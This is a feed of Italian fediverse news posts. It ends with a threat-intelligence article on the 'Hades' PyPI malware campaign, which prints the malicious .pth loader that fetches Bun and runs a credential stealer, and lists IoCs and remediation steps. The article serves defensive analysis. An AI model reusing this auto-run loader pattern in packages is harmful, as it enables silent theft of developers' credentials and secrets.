L'Ufficio federale tedesco di polizia criminale (BKA) segnala materiale pedopornografico che in realtà non lo è

Il BKA accusa una società di hosting di distribuzione di materiale pedopornografico illegale. Il caso riguarda due video di YouTube, entrambi legali. A quanto pare, la polizia non ha controllato i contenuti. Solo dopo le nostre richieste di chiarimenti, il BKA ha ammesso l'errore. Questo caso mette in luce problematiche fondamentali.

netzpolitik.org/2026/automatis…

@informatica

Gli indizi minerali nel cratere Gale rivelano gli antichi cambiamenti climatici su Marte

#marte @astronomia @astronomia@feddit.it @astronomia@diggita.com

i dati raccolti dal rover Curiosity della NASA hanno rivelato che i singoli cristalli nell'ematite di ossido di ferro possono essere utilizzati come un marker mineralogico dei cambiamenti dell'antico clima di Marte....

umbertogaetani.substack.com/p/…

Se ti piace pubblicare su #Pixelfed le foto di luoghi e città d'Italia, ricordadi di menzionare alla fine del post le comunità cittadine di citiverse.it!

Citivrse.it è un forum completamente federato tramite ActivityPub e la sezione "Luoghi e città" contiene l'unico forum tematico federato sui luoghi d'Italia!

Per condividere un post Pixelfed dovrai fare solo due cose:
- cercare la comunità di tuo interesse per esempio @ lombardia @ citiverse.it o @ napoli @ citiverse.it (per il momento ci sono ancora pochi comuni che non siano capoluogo di provincia)
- aggiungere alla fine del post la menzione all'account della categoria

A quel punto, tutti coloro che sono iscritti alle comunità locali o che le seguono dal #Fediverso, vedranno il tuo post

Ecco la pagina delle categorie locali di citiverse.it
citiverse.it/category/12/luogh…

@fediverso@feddit.it

Vst fotografa le nebulose Gum

@astronomia

Le nebulose Gum 10 e Gum 11, immortalate da Vst nell'Immagine della settimana dell'Eso, sono un invito alla pareidolia: tra quelle nuvole di gas e polvere rossastre, illuminate dalla luce ultravioletta di stelle massicce, ognuno può vedere forme diverse. L'immagine celebra anche i 15 anni dalla prima luce del Vst, progetto nato dalla collaborazione tra Eso e Inaf

Il Seti esclude tecnofirme radio da 3I/Atlas

@astronomia

L'Istituto Seti ha utilizzato l'Allen Telescope Array per scansionare il visitatore interstellare 3I/Atlas nelle bande radio da 1 a 9 GHz alla ricerca di segnali tecnologici extraterrestri. I risultati hanno confermato che si tratta di una cometa naturale e dimostrato la rapidità di risposta della rete di monitoraggio terrestre

Beh, però adesso voglio anche una versione con i classici, una per la fantascienza, una per enciclopedie e cataloghi... 😄😄😄🤪

store.steampowered.com/app/419…

@libri @libri@feddit.it @giochi
#libri #biblioteche
#books #libraries
#games #SinglePlayerGames

Vedi le figure nascoste? Archeologi scoprono la casa romana dei misteri. Evocazioni, voci, luci, apparizioni. Una grande struttura di culto nascosta sotto l’edificio. Chi ospitava? Che divinità erano celebrate? Cos dicono le figure che emergono dal finto marmo?

@culture

Una dimora tardoantica continua a rivelare aspetti inattesi della spiritualità privata delle élite dell’Impero romano

Ciò che conta è il loop

@aitech - Il vero vantaggio di usare l'IA sta nell'averla come uno degli elementi

wp.me/phh2yV-9JH

Beep beep! Il metal detector canta di gioia. “È argento”. Due amici scavano ed emerge un piccolo tesoro romano: 103 monete sepolte da quasi duemila anni

@culture

Il suono è stato quello che ogni appassionato di metal detecting sogna di sentire. Un segnale netto, persistente, diverso dagli altri. Michael Eakers e il suo amico Brian Dixon stavano esplorando un terreno agricolo a North Huish, vicino a

Niente aumenti in Teradata: hanno speso tutto per l'intelligenza artificiale! 🤡

Per anni, i CEO del settore tecnologico hanno utilizzato l'intelligenza artificiale come scusa per giustificare i licenziamenti. In realtà, però, molti esperti affermano che ciò che sta realmente accadendo è che i dirigenti stanno dirottando risorse finanziarie verso l’intelligenza artificiale a scapito di tutto il resto —compresa la fidelizzazione dei dipendenti.

finance.yahoo.com/sectors/tech…

@lavoro

Ha ottenuto un'esenzione religiosa dall'uso dell'intelligenza artificiale sul lavoro. Le osservazioni del Papa potrebbero alimentare appelli simili.

Opponendosi all'utilizzo dell'intelligenza artificiale per il suo lavoro di ingegneria del software, Erin Maus si è assicurata una sorta di miracolo dal suo datore di lavoro: un'esenzione religiosa.

businessinsider.com/worker-got…

@aitech

Il sindaco di Shelbyville, Indiana, afferma che solo le persone che vivono in ‘case di merda’ si oppongono al data center

Una proposta Centro dati da 2 miliardi di dollari è diventato un punto critico politico nella piccola città di Shelbyville, Indiana. E la controversia è diventata ancora più intensa dopo che il sindaco, Scott Furgeson, è stato ripreso dalla telecamera dicendo dei cartelli “No Data Center” che stanno salendo, “ne ho visti molti in tutta la città, ma li vedo solo in case di merda,” prima di aggiungere, “la maggior parte sono in affitto.”

Gli abitanti della città affermano che Scott Furgeson è stato irrispettoso.

theverge.com/ai-artificial-int…

@aitech

L'indice S&P 500 rifiuta SpaceX, bloccando anche l'ingresso per OpenAI e Anthropic

SpaceX ha richiesto un ingresso insolitamente rapido in diversi indici azionari leader come condizione per il suo storico debutto in borsa. Ma l'indice azionario S&P 500 ha sorpreso gli analisti di mercato rifiutandosi di infrangere il dicktat dell'azienda spaziale e di intelligenza artificiale di Elon Musk.

arstechnica.com/tech-policy/20…

@aitech

Secondo alcune fonti, il Pentagono ha alzato al massimo livello la minaccia di spionaggio israeliano sugli Stati Uniti (e l'Italia che fa?)

Il livello di minaccia del controspionaggio è stato aumentato dalla Defense Intelligence Agency nelle ultime settimane dopo le crescenti preoccupazioni che lo spionaggio israeliano fosse diventato più aggressivo del solito, dicono le fonti.

nbcnews.com/politics/national-…

@politica

Spose bambine, o quasi, a Gaza.

La demografia non perdona.
In nessuna direzione.

Da Haaretz in ebraico

------------------

Tasso di matrimoni precoci a Gaza in aumento a causa della crisi economica provocata dalla guerra

Secondo dati ufficiali di Gaza, un quinto delle donne sposate nel 2024 e nel 2025 aveva meno di 18 anni. Molte ragazze si sposano anche per ragioni legate agli aiuti umanitari, poiché dopo il matrimonio non fanno più parte del nucleo familiare dei genitori. "Non riuscivo a perdonarmi per il fatto di mangiare il poco cibo che era rimasto alla mia famiglia", ha raccontato una ragazza che si è sposata a 16 anni.

AP 1 giugno 2026

Il figlio e il marito di Majda, residente a Gaza City, sono stati uccisi dagli attacchi dell'esercito israeliano circa due anni fa, durante la guerra. Come molti palestinesi, ha perso anche una delle figlie ed è stata costretta ad abbandonare la propria casa per vivere in una tenda fatiscente.

La sua situazione economica è peggiorata rapidamente e la sua capacità di mantenere i figli si è progressivamente ridotta. Anche il suo stato psicologico è precipitato e Majda è caduta in depressione. A causa delle gravi difficoltà, ha preso una decisione di cui oggi si pente profondamente: far sposare due delle sue figlie, di 13 e 14 anni.

"Pensavo di proteggerle", ha raccontato. "La paura aveva preso il sopravvento."

Le due ragazze hanno sposato due fratelli poco più che ventenni che prima della guerra erano loro vicini di casa. Majda, che a sua volta si era sposata a 14 anni, non voleva che le figlie avessero il suo stesso destino. Tuttavia suo padre sostenne il matrimonio e insistette sul fatto che, nelle loro condizioni di vita, fosse l'unica soluzione possibile.

Secondo Majda, la famiglia degli sposi promise che il matrimonio sarebbe stato regolarizzato ufficialmente e che le ragazze non sarebbero andate a vivere con i mariti fino alla fine della guerra.

"Non ero in uno stato mentale lucido, e nemmeno oggi lo sono", ha ammesso. "Non so come abbia potuto accettare."

La figlia maggiore, però, non voleva sposarsi.

"Mi sentivo persa", ha raccontato. "Capivo che, se mi fossi sposata, qualcuno si sarebbe preso cura di me economicamente. Ma non era quello che volevo."

Un fenomeno sempre più diffuso

La storia di Majda e delle sue figlie non è un caso isolato nella Striscia.

Secondo esperti e dati ufficiali, la devastazione provocata dalla guerra ha causato un aumento dei matrimoni precoci. Alla base della scelta vi sono spesso considerazioni economiche e l'accesso agli aiuti umanitari. Dopo il matrimonio, infatti, una ragazza non viene più conteggiata nel nucleo familiare dei genitori, ma viene considerata parte di una nuova famiglia insieme al marito.

Prima della guerra il fenomeno era in graduale diminuzione. Secondo l'Ufficio Centrale Palestinese di Statistica, nel 2022, ultimo anno per il quale sono disponibili dati completi, il 17,8% dei matrimoni riguardava ragazze sotto i 18 anni, contro oltre il 22% nel 2015.

I dati raccolti dalla Corte Suprema della Sharia di Gaza mostrano però un'inversione di tendenza: il 20,6% dei 35.474 matrimoni registrati nel 2024-2025 ha coinvolto ragazze con meno di 18 anni. Tra questi vi sono stati 627 casi di ragazze con meno di 15 anni.

Percentuale di ragazze sotto i 18 anni sul totale delle donne sposate a Gaza:

2022: 17,8%

2024-2025: 20,6%

Secondo i dati della Corte della Sharia di Gaza.

"Non volevo essere un peso"

Una ragazza di Gaza ha raccontato che lei, i suoi genitori e i suoi sette fratelli e sorelle sono stati sfollati più di 25 volte durante la guerra.

Suo padre era fortemente contrario ai matrimoni precoci e sperava che lei potesse proseguire gli studi universitari. Tuttavia, a causa delle difficoltà economiche della famiglia, alla fine ha accettato il matrimonio.

Lei aveva 16 anni e non si oppose.

"Non riuscivo a perdonarmi per il fatto di mangiare il poco cibo che era rimasto alla mia famiglia", ha raccontato.

Temeva inoltre che, se i suoi genitori fossero morti in un bombardamento, lei e i suoi fratelli sarebbero rimasti senza alcun sostegno.

Oggi ha 17 anni ed è al quinto mese di gravidanza.

Un'altra ragazza ha raccontato che i continui spostamenti avevano prosciugato i pochi risparmi della famiglia. Mentre si trovava con i parenti in un ospedale di Khan Yunis, un uomo di 25 anni le ha chiesto di sposarlo.

Aveva 17 anni e accettò.

"Il matrimonio sembrava l'unica cosa capace di riportare un po' di normalità nella mia vita."

La normativa

Le Nazioni Unite e la maggior parte delle organizzazioni umanitarie definiscono "matrimonio precoce" qualsiasi matrimonio celebrato prima dei 18 anni.

A Gaza l'età minima legale per sposarsi è 17 anni, previa autorizzazione dei genitori e di un giudice. Tuttavia la Corte Suprema della Sharia può autorizzare eccezioni a partire da 14 anni e sette mesi.

In alcuni casi le famiglie ricorrono ad accordi informali che non vengono registrati ufficialmente.

Una madre ha raccontato di aver scelto questa strada dopo che la sua richiesta di far sposare la figlia quattordicenne era stata respinta dal tribunale.

In Cisgiordania, invece, l'Autorità Palestinese ha fissato nel 2019 l'età minima per il matrimonio a 18 anni. Da allora il tasso di matrimoni precoci è sceso a circa il 5%, secondo dati ufficiali.

Violenza e abusi

Secondo Siam, direttrice del Centro per gli Affari delle Donne di Gaza, le ragazze che si sposano in giovane età sono più vulnerabili alla violenza sessuale e fisica, compresi gli abusi da parte della famiglia del marito.

Inoltre il tasso di divorzi è più elevato nei matrimoni precoci e spesso "la ragazza torna a casa dei genitori con uno o due figli".

Majda racconta che la famiglia del marito della figlia maggiore non mantenne la promessa fatta e pretese ben presto che la ragazza andasse a vivere con il marito, un ventitreenne che viveva con la propria famiglia in tende a Deir al-Balah.

Secondo il racconto della giovane, nei primi dieci giorni urlava ogni volta che il marito si avvicinava.

"Continuavo a urlare e lui mi picchiava", ha raccontato. "Sua madre mi legava le mani sopra la testa."

Successivamente, ha dichiarato, il marito la violentò.

Secondo la sua testimonianza, le minacce e gli stupri si ripeterono più volte. In un'occasione fu perfino ricoverata in ospedale per un'emorragia.

Qualche mese dopo la famiglia del marito andò a prendere anche la sorella tredicenne per farla sposare a un giovane di 21 anni.

"Gridava che non voleva sposarsi", ha raccontato Majda.

Anche la sorella minore ha riferito di essere stata legata dalla suocera e violentata dal marito.

Ha raccontato inoltre di aver subito due aborti spontanei, entrambi dopo essere stata colpita con calci dal marito.

La figlia maggiore di Majda diede alla luce un bambino e, alcuni mesi dopo, nel novembre successivo, fuggì percorrendo a piedi 15 chilometri con il neonato in braccio fino alla tenda della madre.

Poco dopo anche la sorella minore riuscì a fuggire e a tornare dalla madre. In seguito si scoprì che aveva una gravidanza classificata ad alto rischio.

Gravidanze ad alto rischio

Secondo Yasser Shaaban, direttore del reparto maternità dell'ospedale Al-Awda nel centro della Striscia, durante la guerra è aumentato il numero di gravidanze tra adolescenti.

La maggior parte delle giovani pazienti soffriva di malnutrizione a causa della carenza di cibo.

Delle sei ragazze intervistate dall'Associated Press:

quattro hanno già partorito;

tutte hanno riferito gravidanze o parti ad alto rischio;

tre hanno subito almeno un aborto spontaneo.

"Sono una ragazza-bambina che cresce un bambino"

Le figlie di Majda erano terrorizzate dall'idea di tornare nelle case dei mariti.

Secondo la madre, la figlia più giovane era una bambina vivace e chiacchierona. Dopo il matrimonio, però, "non parla più con nessuno".

Le due ragazze hanno ripreso gli studi, ma la maggiore racconta di sentirsi emarginata: era l'unica studentessa sposata della classe e l'unica ad avere un figlio.

"Sono una ragazza-bambina che cresce un bambino", ha detto.

"Sono stanca. Voglio morire."

Le donne di Gaza possono chiedere il divorzio, ma la procedura è costosa e complessa. Inoltre il divorzio porta con sé uno stigma sociale e può compromettere le possibilità di un nuovo matrimonio in futuro.

Le famiglie dei mariti promisero a Majda che le figlie sarebbero state trattate bene se fossero tornate a vivere con loro. Alla fine, sentendosi senza alternative, la donna cedette alle pressioni.

"Non volevano tornare", ha raccontato. "Piangevano."

All'inizio del mese le due ragazze sono tornate dai mariti.

Da allora Majda non è più riuscita a contattarle.

#gazagenocide #sposebambine

@politica

Fotografia | Matilde Damele racconta la sua New York: al Museo di Roma in Trastevere una mostra fotografica sulla città e sulle sue solitudini

@culture

Dal 10 giugno al 13 settembre 2026 il Museo di Roma in Trastevere ospita “NEW YORK”, la mostra fotografica di Matilde Damele, artista che per quindici anni ha vissuto nella metropoli americana trasformandola nel cuore della propria ricerca

✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica

(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}